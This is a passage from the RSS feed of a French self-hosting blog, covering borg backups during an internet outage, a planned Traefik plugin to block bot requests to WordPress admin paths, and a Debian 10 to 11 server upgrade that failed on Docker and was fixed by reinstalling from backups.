&lt;p&gt;J&amp;rsquo;ai donc rapidement trouvé la commande &lt;code&gt;borg recreate&lt;/code&gt; (&lt;a href=&#34;https://borgbackup.readthedocs.io/en/master/usage/recreate.html&#34;&gt;documentation présente ici&lt;/a&gt;).
Il faut cependant faire attention à la version de borg, dans mon cas, je suis en &lt;strong&gt;1.1.16&lt;/strong&gt; (avec un &lt;code&gt;borg --version&lt;/code&gt;) et il n&amp;rsquo;est pas nécessaire de faire la commande &lt;code&gt;borg compact&lt;/code&gt; citée dans la documentation la plus récente.&lt;/p&gt;
&lt;p&gt;Avec cette commande, j&amp;rsquo;ai pu gagner déjà une trentaine de Go en repassant sur toutes les archives pour supprimer tout ce qui ne nécessite pas un archivage.&lt;/p&gt;
&lt;h2 id=&#34;coupure-internet&#34;&gt;Coupure internet&lt;/h2&gt;
&lt;p&gt;Sauvegarder son serveur distant à domicile nécessite à priori 2 choses: &lt;strong&gt;électricité&lt;/strong&gt; et &lt;strong&gt;internet&lt;/strong&gt;.
Eh bien il se trouve que j&amp;rsquo;ai eu une coupure internet alors que j&amp;rsquo;étais en plein télétravail vers 14h15 un mardi.
Dans la foulée, je réalise alors des tests sur le site d&amp;rsquo;Orange (je suis chez Sosh), le résultat est le suivant: il faut &lt;strong&gt;patienter&lt;/strong&gt; ou &lt;strong&gt;prendre rendez-vous&lt;/strong&gt; avec un technicien.
Je décide de prendre mon mal en patience et je relance le test une petite heure après, puis en début de soirée.
Les tests ont tous deux ressorti les mêmes conclusions.&lt;/p&gt;
&lt;p&gt;En fin de soirée, après discussion avec mes voisins, je suis le seul de l&amp;rsquo;immeuble sans internet, je décide de relancer le test &lt;em&gt;(la prise de rendez-vous ne se fait qu&amp;rsquo;en fin de test)&lt;/em&gt;.
Et au moment où je clique sur le bouton pour lancer le test, &lt;strong&gt;SURPRISE&lt;/strong&gt;, un message m&amp;rsquo;indique qu&amp;rsquo;on est limité à 3 tests par jour &amp;hellip;
Au réveil, je relance enfin le test qui me permet de prendre rendez-vous pour le lendemain (plage horaire entre 8h et 13h, heureusement que je peux faire du télétravail &amp;hellip;).&lt;/p&gt;
&lt;p&gt;Le mercredi soir (la veille du rendez-vous pour l&amp;rsquo;intervention), je me dis que ça fait déjà un bout de temps que je n&amp;rsquo;ai pas pu réaliser de sauvegardes.
Le Raspberry Pi responsable des sauvegardes est branché à la box en Ethernet, j&amp;rsquo;ai un peu la flemme de lui configurer le Wifi du partage de connexion de mon téléphone.
Ma Tour (mon PC principal) est sous Windows (pour pouvoir jouer, c&amp;rsquo;est le meilleur compromis &amp;hellip;), et même avec &lt;a href=&#34;https://fr.wikipedia.org/wiki/Windows_Subsystem_for_Linux&#34;&gt;WSL&lt;/a&gt;, je n&amp;rsquo;ai pas confiance pour utiliser &lt;a href=&#34;https://gitlab.com/cryptsetup/cryptsetup&#34;&gt;LUKS&lt;/a&gt; pour déchiffrer le disque.&lt;/p&gt;
&lt;p&gt;Bref, je sors mon vieux portable 10 pouces sous Debian (il faut toujours un PC sous Linux, quoi qu&amp;rsquo;il en soit &amp;hellip;).
Je le connecte au Wifi du partage de connexion de mon téléphone et tente de me connecter au serveur, pas de bol la clé SSH du PC n&amp;rsquo;est pas autorisée par le serveur &amp;hellip;
Je me connecte alors au serveur via une application SSH sur mon téléphone pour ajouter la clé de mon PC.
Ensuite, je peux brancher le disque dur pour lancer le rsync (donc sur ma 4G), et à ce moment-là, je n&amp;rsquo;ai que 15 minutes avant de &lt;em&gt;devoir&lt;/em&gt; partir à un concert (il y a pire comme contrainte, c&amp;rsquo;est sûr :)).
Au moment où je m&amp;rsquo;apprête à interrompre le &lt;em&gt;rsync&lt;/em&gt;, il rend la main comme par magie, la copie est terminée sans erreur ! Parfait ! :)&lt;/p&gt;
&lt;p&gt;Pour finir, le jeudi matin, l&amp;rsquo;intervention aura pris une petite vingtaine de minutes le temps de faire les branchements à l&amp;rsquo;appartement, descendre jusqu&amp;rsquo;au boitier fibre, changer le câble, et remonter tester.
C&amp;rsquo;était pour changer, un problème lié à une intervention précédente d&amp;rsquo;un autre technicien &amp;hellip; (la première fois que ça m&amp;rsquo;arrive cela dit).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Petite morale de l&amp;rsquo;histoire&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oui, en cas de coupure internet, &lt;strong&gt;je peux tout de même faire des sauvegardes&lt;/strong&gt; à l&amp;rsquo;aide de ma 4G (sans en abuser, ce n&amp;rsquo;est pas illimité &amp;hellip;)&lt;/li&gt;
&lt;li&gt;Non, en cas de coupure internet, &lt;strong&gt;je ne suis pas capable de restaurer tous mes services&lt;/strong&gt; en cas de pépin sur le serveur (disque qui lâcherait ou autre). Mon site ne pèse que quelques dizaines de Mo (les images) donc c&amp;rsquo;est bon, idem pour la base de données du gestionnaire de mots de passe (moins de 1Mo), mais Nextcloud pèse presque 200Go donc impossible sur la 4G évidemment.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce problème de coupure internet serait encore pire en cas de coupure électrique, car celle-ci entrainerait également une coupure internet &amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;développement-dun-plugin-pour-traefik&#34;&gt;Développement d&amp;rsquo;un plugin pour Traefik&lt;/h1&gt;
&lt;p&gt;Sur mon serveur, je reçois toujours pas mal de requêtes de robots pour s&amp;rsquo;authentifier sur des chemins connus tels que &lt;code&gt;/wp-admin&lt;/code&gt; de Wordpress.&lt;/p&gt;
&lt;p&gt;Mon site n&amp;rsquo;est pas un Wordpress donc les robots tombent sur une erreur 404 puis ils essaient sur quelqu&amp;rsquo;un d&amp;rsquo;autre.&lt;/p&gt;
&lt;p&gt;Il y a quelques années, j&amp;rsquo;aurai pu mettre en place une &lt;em&gt;zip bomb&lt;/em&gt;.
C&amp;rsquo;est un fichier qui pèse quelques Ko ou Mo réels sur le serveur, mais qui, une fois téléchargé, peut monter à plusieurs To.
Par exemple, &lt;a href=&#34;https://www.bamsoftware.com/hacks/zipbomb/&#34;&gt;cette bombe&lt;/a&gt; permet de passer de 10 Mo à 281 To.&lt;/p&gt;
&lt;p&gt;Mais en 2021, d&amp;rsquo;un point de vue écologique, ça me paraît bien ridicule, je vais donc &lt;strong&gt;mettre en place des règles dans &lt;a href=&#34;https://doc.traefik.io/traefik/&#34;&gt;Traefik&lt;/a&gt;&lt;/strong&gt; pour qu&amp;rsquo;ils tombent &lt;strong&gt;directement sur une erreur 403&lt;/strong&gt; sans même avoir à charger le CSS et tout le tralala, ils seront alors éjectés au plus tôt en consommant le moins possible de bande passante.&lt;/p&gt;
&lt;p&gt;Pour les curieux, avec Traefik c&amp;rsquo;est tout simple, il suffit d&amp;rsquo;utiliser &lt;a href=&#34;https://github.com/traefik/plugin-blockpath&#34;&gt;ce plugin&lt;/a&gt; (&lt;a href=&#34;https://git.pofilo.fr/mirrors/plugin-blockpath&#34;&gt;miroir ici&lt;/a&gt;) qui permet de bloquer des chemins à l&amp;rsquo;aide d&amp;rsquo;expressions régulières.&lt;/p&gt;
&lt;p&gt;Dans le cas d&amp;rsquo;un vrai site Wordpress (et j&amp;rsquo;en héberge), j&amp;rsquo;aimerais que ces requêtes soient &lt;strong&gt;bloquées de la même façon sauf si elles viennent de chez moi&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;ai pas trouvé de fonctionnalité de base ou de plugin pour faire ce genre de choses, j&amp;rsquo;ai donc commencé le développement d&amp;rsquo;un plugin dont je vous partagerai le résultat une fois que j&amp;rsquo;aurai trouvé du temps pour y bosser dessus.&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;J&amp;rsquo;espère que ce petit article vous aura plu et intéressé, je n&amp;rsquo;ai pas trop le temps en ce moment de faire des gros articles comme j&amp;rsquo;aime bien le faire &amp;hellip;
Mais j&amp;rsquo;apprécie quand même ces articles pour vous partager quelques petites &lt;em&gt;geekeries&lt;/em&gt; que je traverse !&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;ailleurs, loin de moi l&amp;rsquo;idée de faire du teasing, mais après presque un an et demi d&amp;rsquo;absence, une recette va enfin bientôt apparaitre sur mon &lt;a href=&#34;https://cooking.pofilo.fr/&#34;&gt;site de cuisine&lt;/a&gt; (qui tourne sur Wordpress d&amp;rsquo;ailleurs) &lt;em&gt;(et la recette sera une croûte aux champignons, je dis ça, je dis rien !)&lt;/em&gt;.&lt;/p&gt;
</description>
                
                    <category>Pêle-mêle</category>
                
                    <category>Informatique</category>
                
                    <category>Sauvegardes</category>
                
                    <category>Cuisine</category>
                
            </item>
        
            <item>
                <title>[Debian] Retour sur mon passage à la version 11 (Bullseye)</title>
                <link>https://www.pofilo.fr/post/2021/08/31-mise-a-jour-debian/</link>
                <pubDate>Tue, 31 Aug 2021 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2021/08/31-mise-a-jour-debian/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je vais revenir sur la récente mise à jour du serveur et tout ce que ça a entrainé.&lt;/p&gt;
&lt;h1 id=&#34;contexte&#34;&gt;Contexte&lt;/h1&gt;
&lt;h2 id=&#34;le-serveur-et-le-raspberry&#34;&gt;Le serveur et le Raspberry&lt;/h2&gt;
&lt;p&gt;Tout d&amp;rsquo;abord, pour faire simple, j&amp;rsquo;ai un serveur chez &lt;a href=&#34;https://www.kimsufi.com/fr/&#34;&gt;Kimsufi&lt;/a&gt; sur lequel j&amp;rsquo;héberge la majorité de mes services.
À la maison, j&amp;rsquo;ai un Raspberry Pi 4 (une version 8 Go de RAM qui est tout à fait agréable à utiliser) connecté à un disque dur.
Le script qui effectue les sauvegardes du serveur commence par alimenter ce disque dur avec une &lt;a href=&#34;https://www.pofilo.fr/post/2021/01/31-chacon-dio-433mhz/&#34;&gt;prise 433 MHz&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour revenir sur le serveur, je l&amp;rsquo;avais installé à l&amp;rsquo;époque de Debian 9 puis fait la migration sous Debian 10.
Presque 15 jours après la sortie de Debian 11 et profitant de mes vacances, je me suis lancé dans la mise à jour du serveur de Debian 10 vers Debian 11.&lt;/p&gt;
&lt;p&gt;Par nature, Debian est un &lt;strong&gt;système d&amp;rsquo;exploitation très stable&lt;/strong&gt;. Chaque version peut donc être utilisée sans soucis de compatibilité entre les logiciels par exemple.
L&amp;rsquo;inconvénient à cela est que ces derniers sont rarement dans leurs toutes dernières versions.&lt;/p&gt;
&lt;p&gt;Dans mon cas, tout est &lt;em&gt;conteneurisé&lt;/em&gt; dans mon serveur, donc je choisis moi-même la version des services qui tournent sur le serveur.
Je n&amp;rsquo;utilise pas d&amp;rsquo;orchestrateur mais simplement un script bash qui va lancer les &lt;code&gt;docker-compose.yml&lt;/code&gt; décrivant mes services.
En parallèle, toutes les données sont centralisées dans un dossier que l&amp;rsquo;on va appeler &lt;code&gt;/data&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;utilise pas de vrai orchestrateur car lorsque je me suis mis à Docker, je voulais maîtriser la chaine de bout en bout, ça pourrait être une évolution sympathique désormais.&lt;/p&gt;
&lt;h2 id=&#34;les-machines-de-test&#34;&gt;Les machines de test&lt;/h2&gt;
&lt;p&gt;En plus du serveur et du Raspberry, j&amp;rsquo;ai également 2 machines virtuelles qui tournent sur Debian comme le serveur.&lt;/p&gt;
&lt;p&gt;Le but est d&amp;rsquo;avoir une machine qui réplique le serveur et l&amp;rsquo;autre qui sert de client.
J&amp;rsquo;ai donc également une copie du fameux dossier &lt;code&gt;/data&lt;/code&gt; sur cette réplique.
Je peux donc sans soucis faire des tests sur les machines virtuelles avant de déployer (ou non) sur le serveur de production.&lt;/p&gt;
&lt;h1 id=&#34;la-mise-à-jour&#34;&gt;La mise à jour&lt;/h1&gt;
&lt;h2 id=&#34;la-procédure&#34;&gt;La procédure&lt;/h2&gt;
&lt;p&gt;Dans la théorie, la procédure de mise à jour de Debian 10 vers 11 est très simple:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;apt update &lt;span class=&#34;c1&#34;&gt;# pour mettre à jour la liste de dépôts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;apt dist-upgrade &lt;span class=&#34;c1&#34;&gt;# pour mettre à jour le système (sur la toute dernière version de Debian 10 pour l&amp;#39;instant)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sed -i &lt;span class=&#34;s1&#34;&gt;&amp;#39;s/buster/bullseye/g&amp;#39;&lt;/span&gt; /etc/apt/sources.list &lt;span class=&#34;c1&#34;&gt;# on remplace buster par bullseye&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;sed -i &lt;span class=&#34;s1&#34;&gt;&amp;#39;s|bullseye/updates|bullseye-security|g&amp;#39;&lt;/span&gt; /etc/apt/sources.list &lt;span class=&#34;c1&#34;&gt;# le paramètre semble avoir changé pour &amp;lt;debian-security&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# Vérifier également dans le dossier /etc/apt/sources.list.d/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;apt update &lt;span class=&#34;c1&#34;&gt;# on remet à jour la liste des dépôts avec les dépôts de Debian 11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;apt full-upgrade &lt;span class=&#34;c1&#34;&gt;# on met tout à jour, ça prend un peu de temps avec quelques questions à répondre&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;reboot &lt;span class=&#34;c1&#34;&gt;# on vérifie que tout démarre toujours et on recharge tout proprement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;le-test&#34;&gt;Le test&lt;/h2&gt;
&lt;p&gt;Je teste tout d&amp;rsquo;abord sur la première machine virtuelle: tout fonctionne parfaitement sans accrocs.
Puis sur la deuxième: même résultat.&lt;/p&gt;
&lt;h2 id=&#34;sur-le-serveur-de-production&#34;&gt;Sur le serveur de production&lt;/h2&gt;
&lt;p&gt;Bien que la mise à jour des machines virtuelles se soit déroulée sans soucis et que mon serveur soit sauvegardé 2 fois par jour, je relance une petite sauvegarde avant de faire quoi que ce soit (on sait jamais !!).&lt;/p&gt;
&lt;p&gt;Une fois la sauvegarde terminée, je joue la procédure de la même façon et je finis alors par le &lt;em&gt;reboot&lt;/em&gt; et c&amp;rsquo;est parti pour une ou 2 minutes d&amp;rsquo;attente.&lt;/p&gt;
&lt;p&gt;Finalement, 3-4 minutes après, le serveur &lt;em&gt;ping&lt;/em&gt; de nouveau et le SSH est fonctionnel.&lt;/p&gt;
&lt;h1 id=&#34;les-problèmes&#34;&gt;Les problèmes&lt;/h1&gt;
&lt;p&gt;À ce moment-là, il suffit que les containers Docker soient redémarrés et c&amp;rsquo;est plié.
Je lance donc un &lt;code&gt;htop&lt;/code&gt; pour voir les services Docker démarrer les uns après les autres &amp;hellip; et là c&amp;rsquo;est le drame.&lt;/p&gt;
&lt;p&gt;Les minutes passent, et rien n&amp;rsquo;apparait.&lt;/p&gt;
&lt;p&gt;Je vais voir les logs, et une chose me saute aux yeux:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;OCI runtime create failed: container_linux.go:380: starting container process caused: process_linux.go:545: container init caused: process_linux.go:508: setting cgroup config for procHooks process caused: bpf_prog_query(BPF_CGROUP_DEVICE) failed: invalid argument: unknown&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ce problème ressemble étrangement à ce que j&amp;rsquo;avais déjà rencontré en essayant de faire tourner une image AMD sur un Raspberry Pi (donc sur ARM).
Bizarre, l&amp;rsquo;erreur doit seulement être ressemblante.
Mais le vrai problème est que je n&amp;rsquo;avais pas vu l&amp;rsquo;erreur sur les machines de test, donc j&amp;rsquo;ai le serveur de production qui est en rade &amp;hellip;&lt;/p&gt;
&lt;p&gt;Je vous passe tous les tests que j&amp;rsquo;ai faits, je n&amp;rsquo;ai pas pris le temps de tout noter.
Entre autres, j&amp;rsquo;ai réinstallé intégralement Docker dans les versions avant la mise à jour, mis les mêmes que sur les machines de tests, etc&amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;une-solution&#34;&gt;Une solution&lt;/h1&gt;
&lt;p&gt;Après avoir bidouillé pendant environ 2 heures sans trouver de solution, j&amp;rsquo;ai lancé la &lt;strong&gt;réinstallation du serveur&lt;/strong&gt;.
Kimsufi ne propose pas encore Debian 11 donc les étapes que j&amp;rsquo;ai suivies sont:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Installation de Debian 10.&lt;/li&gt;
&lt;li&gt;Mise à jour vers Debian 11.&lt;/li&gt;
&lt;li&gt;Installation de Docker et docker-compose.&lt;/li&gt;
&lt;li&gt;Copie du dossier &lt;code&gt;/data&lt;/code&gt; (plus de 280 Go parce que j&amp;rsquo;avais mal utilisé l&amp;rsquo;option &lt;code&gt;--exclude&lt;/code&gt; de &lt;em&gt;rsync&lt;/em&gt;: je voulais copier les fichiers de Nextcloud dans un second temps mais tant pis &amp;hellip;).&lt;/li&gt;
&lt;li&gt;Lancement du script qui lance tous les &lt;em&gt;docker-compose&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;C&amp;rsquo;est la première fois depuis avril 2016 (lancement du premier serveur) que j&amp;rsquo;ai une coupure aussi longue (environ 12h30).
La longueur de cette coupure s&amp;rsquo;explique aussi par le fait que j&amp;rsquo;avais des choses à faire chez moi et j&amp;rsquo;avais aussi besoin de dormir et que j&amp;rsquo;avais loupé ma commande &lt;code&gt;rsync&lt;/code&gt; avec l&amp;rsquo;option &lt;code&gt;--exclude&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Au final, je suis quand même un peu déçu et frustré de ne pas avoir trouvé la vraie solution au problème mais au final, une réinstallation propre de temps en temps n&amp;rsquo;est pas si mauvaise.
De plus, ça aurait pu servir à d&amp;rsquo;autres personnes qui auraient rencontré le même problème.
N&amp;rsquo;hésitez pas à partager si vous avez aussi eu le problème !&lt;/p&gt;
&lt;p&gt;Pour finir, les sauvegardes, c&amp;rsquo;est la vie, je le répète très souvent, mais c&amp;rsquo;est indispensable.
Mais seules, elles ne servent pas à grand-chose, il faut savoir comment les restaurer, et mis à part ma commande &lt;code&gt;rsync&lt;/code&gt; mal écrite, j&amp;rsquo;ai suivi sans le moindre souci ma procédure de restauration.
Donc même avec un pépin dans la mise à jour, une fois la décision prise de réinstaller le serveur, je n&amp;rsquo;avais plus qu&amp;rsquo;à copier-coller les commandes à lancer.&lt;/p&gt;
</description>
                
                    <category>Informatique</category>
                
                    <category>Sauvegardes</category>
                
            </item>
        
    </channel>
</rss>

